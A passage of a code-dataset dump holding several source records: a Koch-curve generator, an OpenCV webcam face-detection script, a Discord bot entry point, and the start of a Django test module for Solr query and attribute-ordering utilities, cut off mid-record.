"usage_type": "call"}, {"api_name": "aip.AipOcr", "line_number": 73, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 84, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 85, "usage_type": "call"}, {"api_name": "os.path", "line_number": 85, "usage_type": "attribute"}, {"api_name": "time.sleep", "line_number": 95, "usage_type": "call"}, {"api_name": "lxml.etree.HTML", "line_number": 134, "usage_type": "call"}, {"api_name": "lxml.etree", "line_number": 134, "usage_type": "name"}, {"api_name": "os.path.abspath", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path", "line_number": 137, "usage_type": "attribute"}, {"api_name": "os.path.join", "line_number": 137, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 137, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 139, "usage_type": "call"}, {"api_name": "os.path", "line_number": 139, "usage_type": "attribute"}, {"api_name": "os.remove", "line_number": 141, "usage_type": "call"}, {"api_name": "time.sleep", "line_number": 145, "usage_type": "call"}, {"api_name": "{'DesiredCapabilities': 'selenium.webdriver.common.desired_capabilities.DesiredCapabilities'}", "line_number": 180, "usage_type": "call"}]} {"seq_id": "290416497", "text": "from collections import namedtuple\nimport math\nCo = namedtuple('Co', 'x y')\n\ndef f(i, n, l, r):\n if i >= n:\n print(l.x, l.y)\n return\n il = Co(x=(1/3 * r.x + (1 - 1/3) * l.x), y=(1/3 * r.y + (1 - 1/3) * l.y))\n ir = Co(x=(2/3 * r.x + (1 - 2/3) * l.x), y=(2/3 * r.y + (1 - 2/3) * l.y))\n\n trix = 1/2 * (ir.x + il.x - math.sqrt(3) * ir.y + math.sqrt(3) * il.y)\n triy = 1/2 * (math.sqrt(3) * ir.x - math.sqrt(3) * il.x + ir.y + il.y)\n trico = Co(trix, triy)\n\n f(i+1, n, l, il)\n #print(il.x, il.y)\n f(i+1, n, il, trico)\n #print(trico.x, trico.y)\n f(i+1, n, trico, ir)\n #print(ir.x, ir.y)\n f(i+1, n, ir, r)\n\nif __name__ == '__main__':\n n = int(input())\n #print(0, 0)\n f(0, n, Co(0,0), Co(100,0))\n print(100, 0)\n\n", "sub_path": "Python_codes/p02273/s914915022.py", "file_name": "s914915022.py", "file_ext": "py", "file_size_in_byte": 769, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.namedtuple", "line_number": 3, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 12, "usage_type": "call"}, {"api_name": "math.sqrt", "line_number": 13, "usage_type": "call"}]} {"seq_id": "10265856", "text": "import cv2 as cv\nimport numpy as np\nfrom function import imageProcess\nfrom function import lbpFeature\n\ncellLength = 8\noverLapping = 1\nexp = ['anger', 'contempt', 'disgust', 'fear', 'happy', 'natural', 'sad', 'surprise']\nsvm = cv.ml.SVM_load('model\\\\svm_data.dat')\nvector = np.zeros((1, lbpFeature.getAll(cellLength, overLapping)), dtype = 'float32')\n\ncap = cv.VideoCapture(0)\nif not cap.isOpened():\n print('Cannot open camera')\n exit()\n\nwhile True:\n # e1 = cv.getTickCount()\n ret, frame = cap.read()\n if not ret:\n print('Cannot receive fream (stream end?). Exiting ...')\n break\n \n img, faces = imageProcess.faceDetect(frame)\n # if (len(img)):\n # vector[0] = lbpFeature.getFeature(img, cellLength, overLapping)\n # print(svm.predict(vector)[1])\n # print(exp[int(svm.predict(vector)[1])-1])\n\n for (x, y, w, h) in faces:\n cv.rectangle(frame,(x,y),(x+w,y+h),(255,0,0),2)\n frame = cv.flip(frame, 1)\n cv.imshow('frame', frame)\n # e2 = cv.getTickCount()\n # print((e2 - e1) / cv.getTickFrequency())\n if cv.waitKey(1) == ord('q'):\n break\n\ncap.release()\ncv.destroyAllWindows()", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 1156, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "cv2.ml.SVM_load", "line_number": 9, "usage_type": "call"}, {"api_name": "cv2.ml", "line_number": 9, "usage_type": "attribute"}, {"api_name": "numpy.zeros", "line_number": 10, "usage_type": "call"}, {"api_name": "function.lbpFeature.getAll", "line_number": 10, "usage_type": "call"}, {"api_name": "function.lbpFeature", "line_number": 10, "usage_type": "name"}, {"api_name": "cv2.VideoCapture", "line_number": 12, "usage_type": "call"}, {"api_name": "function.imageProcess.faceDetect", "line_number": 24, "usage_type": "call"}, {"api_name": "function.imageProcess", "line_number": 24, "usage_type": "name"}, {"api_name": "cv2.rectangle", "line_number": 31, "usage_type": "call"}, {"api_name": "cv2.flip", "line_number": 32, "usage_type": "call"}, {"api_name": "cv2.imshow", "line_number": 33, "usage_type": "call"}, {"api_name": "cv2.waitKey", "line_number": 36, "usage_type": "call"}, {"api_name": "cv2.destroyAllWindows", "line_number": 40, "usage_type": "call"}]} {"seq_id": "94796651", "text": "import discord\nfrom discord.ext import commands\n\nimport sys, traceback, platform\nfrom typing import Union\nimport datetime\n\nfrom config import BOT_TOKEN\n\nDESCR = 'This bot is a small side project and still very WIP'\nTOKEN = BOT_TOKEN\n\n# File names of extensions we are loading on startup\nstartup_extensions = ['jishaku',\n 'cogs.error_handler',\n 'cogs.members',\n 'cogs.owner',\n 'cogs.metautil',\n 'cogs.avatar',\n 'cogs.logger',\n 'cogs.random',\n 'cogs.googleimage',\n 'cogs.charinfo',\n 'cogs.fun',\n 'cogs.music']\n\ncustom_prefix = {386406482888884226: ['%']} # Need to store it somewhere else, will do later\n\ndef get_prefix(bot, message):\n \"\"\"A callable Prefix for our bot. This could be edited to allow per server prefixes.\"\"\"\n\n prefixes = ['?', '%']\n\n # Check to see if we are outside of a guild. e.g DM's etc.\n # if not message.guild:\n # Only allow these to be used in DMs\n # return ['?', '%', '$']\n\n # if message.guild.id in custom_prefix:\n # return custom_prefix[message.guild.id]\n\n # If in a guild, allow for the user to mention or use any of the prefixes in the list.\n return commands.when_mentioned_or(*prefixes)(bot, message)\n\n\nbot = commands.Bot(command_prefix=get_prefix, description=DESCR)\n\n\nasync def load_startup_extensions():\n await bot.wait_until_ready()\n total = len(startup_extensions)\n successes = 0\n for extension in startup_extensions:\n try:\n bot.load_extension(extension)\n print(f'Successfully loaded extension {extension}.')\n successes += 1\n except Exception as e:\n print(f'Failed to load extension {extension}.')\n traceback.print_exc()\n # ^uncomment for traceback when extension fails to load\n print('----------------------------------------------------')\n print(f'Successfully loaded {successes}/{total} extensions.')\n\n\n@bot.event\nasync def on_ready():\n print(f'\\nLogged in as: {bot.user.name} - {bot.user.id}\\n'\n f'Python Version: {platform.python_version()}\\n'\n f'Library Version: {discord.__version__}\\n')\n\n activity = discord.Activity(type=discord.ActivityType.listening, name='you :)')\n await bot.change_presence(activity=activity)\n print(f'Ready! {datetime.datetime.now()}\\n')\n await load_startup_extensions()\n\n\n# @bot.check\n# async def global_blacklist(ctx):\n# return ctx.author.id not in config.blacklist\n\nbot.run(TOKEN, reconnect=True)\n", "sub_path": "main.py", "file_name": "main.py", "file_ext": "py", "file_size_in_byte": 2669, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "config.BOT_TOKEN", "line_number": 11, "usage_type": "name"}, {"api_name": "discord.ext.commands.when_mentioned_or", "line_number": 43, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 43, "usage_type": "name"}, {"api_name": "discord.ext.commands.Bot", "line_number": 46, "usage_type": "call"}, {"api_name": "discord.ext.commands", "line_number": 46, "usage_type": "name"}, {"api_name": "traceback.print_exc", "line_number": 60, "usage_type": "call"}, {"api_name": "platform.python_version", "line_number": 69, "usage_type": "call"}, {"api_name": "discord.__version__", "line_number": 70, "usage_type": "attribute"}, {"api_name": "discord.Activity", "line_number": 72, "usage_type": "call"}, {"api_name": "discord.ActivityType", "line_number": 72, "usage_type": "attribute"}, {"api_name": "datetime.datetime.now", "line_number": 74, "usage_type": "call"}, {"api_name": "datetime.datetime", "line_number": 74, "usage_type": "attribute"}]} {"seq_id": "367388253", "text": "from StringIO import StringIO\nimport contextlib\nimport logging\nimport json\nimport os\nimport re\nimport shutil\nimport tempfile\nimport uuid\n\nfrom django.contrib.auth.models import User\nfrom django.core.files.uploadedfile import (InMemoryUploadedFile,\n SimpleUploadedFile)\nfrom django.core.management import call_command, CommandError\nfrom django.db.models import Q\nfrom django.http import QueryDict\nfrom django.test import TestCase, override_settings\n\nfrom celery.states import FAILURE, PENDING, STARTED, SUCCESS\nfrom djcelery.models import TaskMeta\nfrom factory_boy.utils import (create_dataset_with_necessary_models,\n make_analyses_with_single_dataset)\nfrom haystack.exceptions import SkipDocument\nimport mock\nfrom override_storage import override_storage\nfrom rest_framework.test import APITestCase\n\nimport constants\nfrom core.models import (INPUT_CONNECTION, OUTPUT_CONNECTION, Analysis,\n AnalysisNodeConnection, DataSet, InvestigationLink)\nfrom core.tests import TestMigrations\nfrom file_store.models import FileStoreItem, generate_file_source_translator\nfrom file_store.tasks import import_file\n\nfrom .isa_tab_parser import IsaTabParser, ParserException\nfrom .models import (AnnotatedNode, Assay, AttributeOrder, Investigation, Node,\n Study)\nfrom .search_indexes import NodeIndex\nfrom .serializers import AttributeOrderSerializer\nfrom .single_file_column_parser import process_metadata_table\nfrom .tasks import parse_isatab\nfrom .utils import (_create_solr_params_from_node_uuids,\n create_facet_field_counts, create_facet_filter_query,\n cull_attributes_from_list, customize_attribute_response,\n escape_character_solr, format_solr_response,\n generate_filtered_facet_fields,\n generate_solr_params_for_assay,\n get_file_url_from_node_uuid, get_owner_from_assay,\n hide_fields_from_list, initialize_attribute_order_ranks,\n is_field_in_hidden_list, update_annotated_nodes,\n update_attribute_order_ranks)\n\nTEST_DATA_BASE_PATH = \"data_set_manager/test-data/\"\n\nlogger = logging.getLogger(__name__)\n\n\nclass UtilitiesTests(TestCase):\n\n def setUp(self):\n self.user1 = User.objects.create_user(\"ownerJane\", '', 'test1234')\n self.user1.save()\n investigation = Investigation.objects.create()\n data_set = DataSet.objects.create(title=\"Test DataSet\")\n InvestigationLink.objects.create(data_set=data_set,\n investigation=investigation)\n data_set.set_owner(self.user1)\n self.study = Study.objects.create(file_name='test_filename123.txt',\n title='Study Title Test',\n investigation=investigation)\n self.assay = Assay.objects.create(\n study=self.study,\n measurement='transcription factor binding site',\n measurement_accession='http://www.testurl.org/testID',\n measurement_source='OBI',\n technology='nucleotide sequencing',\n technology_accession='test info',\n technology_source='test source',\n platform='Genome Analyzer II',\n file_name='test_assay_filename.txt',\n )\n\n self.attribute_order_array = [{\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Character_Title',\n 'rank': 1,\n 'is_exposed': True,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False,\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Specimen',\n 'rank': 2,\n 'is_exposed': True,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Cell Type',\n 'rank': 3,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Analysis',\n 'rank': 4,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Organism',\n 'rank': 5,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Cell Line',\n 'rank': 6,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Type',\n 'rank': 7,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Group Name',\n 'rank': 8,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Gene',\n 'rank': 9,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Replicate Id',\n 'rank': 10,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Organism Part',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.assay,\n 'solr_field': 'Name',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }]\n\n for attribute in self.attribute_order_array:\n AttributeOrder.objects.create(**attribute)\n\n self.new_assay = Assay.objects.create(\n study=self.study,\n measurement='transcription factor binding site',\n measurement_accession='http://www.testurl.org/testID',\n measurement_source='OBI',\n technology='nucleotide sequencing',\n technology_accession='test info',\n technology_source='test source',\n platform='Genome Analyzer II',\n file_name='test_assay_filename.txt',\n )\n\n self.new_attribute_order_array = [{\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Character_Title',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False,\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Specimen',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Cell Type',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Analysis',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Organism',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Cell Line',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Type',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': True\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Group Name',\n 'rank': 0,\n 'is_exposed': True,\n 'is_facet': True,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Gene',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'Replicate Id',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': False\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'uuid',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': True\n }, {\n 'study': self.study,\n 'assay': self.new_assay,\n 'solr_field': 'name',\n 'rank': 0,\n 'is_exposed': False,\n 'is_facet': False,\n 'is_active': True,\n 'is_internal': True\n }]\n\n for attribute in self.new_attribute_order_array:\n AttributeOrder.objects.create(**attribute)\n\n self.url_root = '/api/v2/assays'\n self.valid_uuid = self.assay.uuid\n self.invalid_uuid = 'xxxxxxxx'\n\n test_file_a = StringIO()\n test_file_a.write('Coffee is great.\\n')\n file_store_item_a = FileStoreItem.objects.create(\n datafile=InMemoryUploadedFile(\n test_file_a,\n field_name='tempfile',\n name='test_file_a.txt',\n content_type='text/plain',\n size=len(test_file_a.getvalue()),\n charset='utf-8'\n )\n )\n self.node_a = Node.objects.create(\n name=\"n0\",\n assay=self.assay,\n study=self.study,\n file_uuid=file_store_item_a.uuid\n )\n\n self.node_b = Node.objects.create(\n name=\"n1\",\n assay=self.assay,\n study=self.study\n )\n\n def tearDown(self):\n # Trigger the pre_delete signal so that datafiles are purged\n FileStoreItem.objects.all().delete()\n\n def test_create_facet_field_counts(self):\n facet_field_array = {\n 'WORKFLOW': {'buckets': [\n {'val': '1_test_04', 'count': 1},\n {'val': 'output_file', 'count': 60},\n {'val': '1_test_02', 'count': 1}\n ]},\n 'ANALYSIS': {'buckets': [\n {'val': '5dd6d3c3', 'count': 5},\n {'val': '08fc3964', 'count': 2},\n {'val': '0907a312', 'count': 1},\n {'val': '276adefd', 'count': 3}\n ]},\n 'Author': {\"buckets\": [\n {'val': 'Vezza', 'count': 10},\n {'val': 'Harslem/Heafner', 'count': 4},\n {'val': 'McConnell', 'count': 5},\n {'val': 'Vezza + Crocker', 'count': 2},\n {'val': 'Crocker', 'count': 28}\n ]},\n 'Year': {\"buckets\": [{'val': '1971', 'count': 54}]},\n 'SUBANALYSIS': {\"buckets\": [\n {'val': '1', 'count': 8},\n {'val': '2', 'count': 2},\n {'val': '-1', 'count': 9}\n ]},\n 'TYPE': {\"buckets\": [\n {'val': 'Derived Data File', 'count': 105},\n {'val': 'Raw Data File', 'count': 9}\n ]}\n }\n\n facet_field_obj = create_facet_field_counts(facet_field_array)\n self.assertDictEqual(facet_field_obj,\n {'WORKFLOW': [\n {'name': 'output_file', 'count': 60},\n {'name': '1_test_04', 'count': 1},\n {'name': '1_test_02', 'count': 1}],\n 'ANALYSIS': [{'name': '5dd6d3c3', 'count': 5},\n {'name': '276adefd', 'count': 3},\n {'name': '08fc3964', 'count': 2},\n {'name': '0907a312', 'count': 1}],\n 'Author': [\n {'name': 'Crocker', 'count': 28},\n {'name': 'Vezza', 'count': 10},\n {'name': 'McConnell', 'count': 5},\n {'name': 'Harslem/Heafner', 'count': 4},\n {'name': 'Vezza + Crocker', 'count': 2}],\n 'Year': [{'name': '1971', 'count': 54}],\n 'SUBANALYSIS': [{'name': '-1', 'count': 9},\n {'name': '1', 'count': 8},\n {'name': '2', 'count': 2}],\n 'TYPE': [\n {'name': 'Derived Data File', 'count': 105},\n {'name': 'Raw Data File', 'count': 9}]})\n\n def test_escape_character_solr(self):\n field = \"(mouse){index}[dog]^~*?:;/ +-&|\"\n expected_response = \"\\\\(mouse\\\\)\\\\{index\\\\}\\\\[\" \\\n \"dog\\\\]\\\\^\\\\~\\\\*\\\\?\\\\:\\\\;\\\\/\\\\ \\\\+\\\\-\\\\&\\\\|\"\n response = escape_character_solr(field)\n self.assertEqual(response, expected_response)\n response = escape_character_solr(\"\")\n self.assertEqual(response, \"\")\n\n def test_create_facet_filter_query(self):\n facet_filter = {'Author': ['Vezza', 'McConnell'],\n 'TYPE': ['Raw Data File']}\n facet_field_query = create_facet_filter_query(facet_filter)\n self.assertEqual(facet_field_query,\n [u'{!tag=TYPE}TYPE:(Raw\\\\ Data\\\\ File)',\n u'{!tag=AUTHOR}Author:(Vezza OR McConnell)'])\n\n def test_hide_fields_from_list(self):\n weighted_list = [{'solr_field': 'uuid'},\n {'solr_field': 'is_annotation'},\n {'solr_field': 'genome_build'},\n {'solr_field': 'django_ct'},\n {'solr_field': 'django_id'},\n {'solr_field': 'species'},\n {'solr_field': 'file_uuid'},\n {'solr_field': 'study_uuid'},\n {'solr_field': 'assay_uuid'},\n {'solr_field': 'type'},\n {'solr_field': 'id'},\n {'solr_field': 'name'},\n {'solr_field': 'SubAnalysis'}]\n\n filtered_list = hide_fields_from_list(weighted_list)\n self.assertListEqual(filtered_list, [\n {'solr_field': 'uuid'},\n {'solr_field': 'SubAnalysis'}])\n\n def test_is_field_in_hidden_list(self):\n list_of_hidden_field = ['id', 'django_id', 'file_uuid',\n 'study_uuid', 'assay_uuid', 'type',\n 'is_annotation', 'species', 'genome_build',\n 'name', 'django_ct']\n list_not_hidden_field = ['uuid', 'Analysis', 'Cell Type', '',\n 'Cell Line', 'Group Name', 'Character Title']\n\n for field in list_of_hidden_field:\n self.assertEqual(is_field_in_hidden_list(field), True)\n\n for field in list_not_hidden_field:\n self.assertEqual(is_field_in_hidden_list(field), False)\n\n def test_generate_solr_params_no_params_returns_obj(self):\n # empty params\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertItemsEqual(sorted(query.keys()), ['json', 'params'])\n\n def test_generate_solr_params_no_params_returns_params(self):\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertItemsEqual(query['params'],\n {\n 'facet.limit': '-1',\n 'fq': 'is_annotation:false',\n 'rows': constants.REFINERY_SOLR_DOC_LIMIT,\n 'start': '0',\n 'wt': 'json'\n })\n\n def test_generate_solr_params_no_params_returns_json_facet(self):\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertListEqual(sorted(query['json']['facet'].keys()),\n ['Analysis',\n 'Cell Line',\n 'Cell Type',\n 'Group Name',\n 'Organism',\n 'Type'])\n\n def test_generate_solr_params_no_params_returns_json_fields(self):\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertListEqual(sorted(query['json']['fields']),\n ['Analysis',\n 'Cell Line',\n 'Cell Type',\n 'Character_Title',\n 'Group Name',\n 'Organism',\n 'REFINERY_DATAFILE_s',\n 'Specimen',\n 'Type'])\n\n def test_generate_solr_params_no_params_returns_json_filter(self):\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertListEqual(query['json']['filter'],\n ['assay_uuid:({})'.format(self.valid_uuid)]\n )\n\n def test_generate_solr_params_no_params_returns_json_query(self):\n query = generate_solr_params_for_assay(QueryDict({}), self.valid_uuid)\n self.assertEqual(query['json']['query'],\n 'django_ct:data_set_manager.node')\n\n def test_generate_solr_params_for_assay_with_params_return_obj(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertItemsEqual(sorted(query.keys()), ['json', 'params'])\n\n def test_generate_solr_params_for_assay_with_params_returns_params(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertItemsEqual(query['params'],\n {\n 'facet.limit': '-1',\n 'fq': 'is_annotation:false',\n 'rows': constants.REFINERY_SOLR_DOC_LIMIT,\n 'start': '0',\n 'wt': 'json'\n })\n\n def test_generate_solr_params_params_returns_json_facet(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertListEqual(sorted(query['json']['facet'].keys()),\n ['cats', 'dog', 'horse', 'mouse'])\n\n def test_generate_solr_params_params_returns_json_fields(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertListEqual(query['json']['fields'],\n ['cats', 'mouse', 'dog', 'horse'])\n\n def test_generate_solr_params_params_returns_json_filter(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertListEqual(query['json']['filter'],\n ['assay_uuid:({})'.format(self.valid_uuid)])\n\n def test_generate_solr_params_params_returns_json_query(self):\n parameter_dict = {'limit': 7, 'offset': 2,\n 'facets': 'cats,mouse,dog,horse',\n 'is_annotation': 'true'}\n parameter_qdict = QueryDict('', mutable=True)\n parameter_qdict.update(parameter_dict)\n query = generate_solr_params_for_assay(\n parameter_qdict, self.valid_uuid\n )\n self.assertEqual(query['json']['query'],\n 'django_ct:data_set_manager.node')\n\n def test_cull_attributes_from_list(self):\n new_attribute_list = cull_attributes_from_list(\n self.new_attribute_order_array,\n [self.new_attribute_order_array[0].get('solr_field'),\n self.new_attribute_order_array[1].get('solr_field'),\n self.new_attribute_order_array[2].get('solr_field')]\n )\n self.assertDictEqual(new_attribute_list[0],\n self.new_attribute_order_array[3])\n\n def test_cull_attributes_from_list_with_empty_list_returns_list(self):\n new_attribute_list = cull_attributes_from_list(\n self.new_attribute_order_array,\n []\n )\n self.assertDictEqual(new_attribute_list[0],\n self.new_attribute_order_array[0])\n self.assertEqual(len(new_attribute_list),\n len(self.new_attribute_order_array))\n\n def test_generate_filtered_facet_fields(self):\n attribute_orders = AttributeOrder.objects.filter(\n assay__uuid=self.valid_uuid)\n attributes = AttributeOrderSerializer(attribute_orders, many=True)\n filtered = generate_filtered_facet_fields(attributes.data)\n self.assertDictEqual(filtered, {'facet_field':\n ['Cell Type', 'Analysis',\n 'Organism', 'Cell Line',\n 'Type', 'Group Name'],\n 'field_limit':\n ['REFINERY_DATAFILE_s',\n 'Character_Title', 'Specimen',\n 'Cell Type', 'Analysis',\n 'Organism', 'Cell Line',\n 'Type', 'Group Name']})\n\n def generate_filtered_facet_fields(self):\n facet_field_string = ['REFINERY_SUBANALYSIS_6_3_s',\n 'REFINERY_WORKFLOW_OUTPUT_6_3_s',\n 'REFINERY_ANALYSIS_UUID_6_3_s',\n 'Author_Characteristics_6_3_s',\n 'Year_Characteristics_6_3_s']\n query_dict = generate_filtered_facet_fields(facet_field_string)\n self.assertEqual(query_dict.get('facet_field'), facet_field_string)\n self.assertEqual(query_dict.get('field_limit'), facet_field_string)\n\n def test_get_owner_from_valid_assay(self):\n owner = get_owner_from_assay(self.valid_uuid).username\n # valid owner with valid uuid\n self.assertEqual(str(owner), 'ownerJane')\n\n def test_get_owner_from_invalid_assay(self):\n # invalid uuid\n response = get_owner_from_assay(self.invalid_uuid)\n self.assertEqual(response, 'Error: Invalid uuid')\n\n def test_format_solr_response_valid(self):\n # valid input, expected response from solr\n solr_response = json.dumps({\n \"responseHeader\": {\n \"status\": 0,\n \"QTime\": 137,\n \"params\": {\n \"json\": '{\"facet\": '\n '{\"REFINERY_SUBANALYSIS_16_82_s\": {'\n '\"field\": \"REFINERY_SUBANALYSIS_16_82_s\", '\n '\"type\": \"terms\", \"mincount\": 0}, '\n '\"REFINERY_WORKFLOW_OUTPUT_16_82_s\": {'\n '\"field\": \"REFINERY_WORKFLOW_OUTPUT_16_82_s\", '\n '\"type\": \"terms\", \"mincount\": 0}, '\n '\"organism_Characteristics_16_82_s\": '\n '{\"field\": \"organism_Characteristics_16_82_s\", '\n '\"type\": \"terms\", \"mincount\": 0},'\n '\"REFINERY_TYPE_16_82_s\": {'\n '\"field\": \"REFINERY_TYPE_16_82_s\", '\n '\"type\": \"terms\", \"mincount\": 0}}, '\n '\"query\": \"django_ct:data_set_manager.node\", '\n '\"filter\": [\"assay_uuid:('\n '16cfd7ab-4bf7-4951-baf3-de270a12b225)\"],'\n '\"fields\": ['\n '\"REFINERY_SUBANALYSIS_16_82_s\", '\n '\"REFINERY_WORKFLOW_OUTPUT_16_82_s\", '\n '\"organism_Characteristics_16_82_s\", '\n '\"REFINERY_TYPE_16_82_s\"]}',\n \"start\": \"0\",\n \"facet.limit\": \"-1\",\n \"wt\": \"json\",\n \"fq\": \"is_annotation:false\",\n \"rows\": \"100\"\n }\n },\n \"response\": {\n \"numFound\": 1,\n \"start\": 0,\n \"docs\": [\n {\"REFINERY_SUBANALYSIS_16_82_s\": \"-1\",\n \"organism_Characteristics_16_82_s\": \"Danio\",\n \"REFINERY_TYPE_16_82_s\": \"Array Data File\",\n \"REFINERY_WORKFLOW_OUTPUT_16_82_s\": \"N/A\"\n }]\n },\n \"facets\": {\n \"count\": 1,\n \"REFINERY_SUBANALYSIS_16_82_s\": {\n \"buckets\": [{\"val\": \"-1\", \"count\": 16}]\n },\n \"REFINERY_WORKFLOW_OUTPUT_16_82_s\": {\n \"buckets\": [{\"val\": \"N/A\", \"count\": 16}]\n },\n \"organism_Characteristics_16_82_s\": {\n \"buckets\": [{\"val\": \"Danio\", \"count\": 16}]\n },\n \"REFINERY_TYPE_16_82_s\": {\n \"buckets\": [\n {\"val\": \"Array Data File\", \"count\": 14},\n {\"val\": \"Derived Array Data File\", \"count\": 2}]\n }\n }\n })\n\n formatted_response = format_solr_response(solr_response)\n self.assertDictEqual(\n formatted_response,\n {\n 'facet_field_counts':\n {u'REFINERY_SUBANALYSIS_16_82_s':\n [{'name': u'-1', 'count': 16}],\n u'REFINERY_TYPE_16_82_s':\n [{'name': u'Array Data File', 'count': 14},\n {'name': u'Derived Array Data File', 'count': 2}],\n u'REFINERY_WORKFLOW_OUTPUT_16_82_s':\n [{'name': u'N/A', 'count': 16}],\n u'organism_Characteristics_16_82_s':\n [{'name': u'Danio', 'count': 16}]\n },\n 'attributes': [\n {'attribute_type': 'Internal',\n 'display_name': 'Analysis Group',\n 'file_ext': u's',\n 'internal_name': u'REFINERY_SUBANALYSIS_16_82_s'},\n {'attribute_type': 'Internal',\n 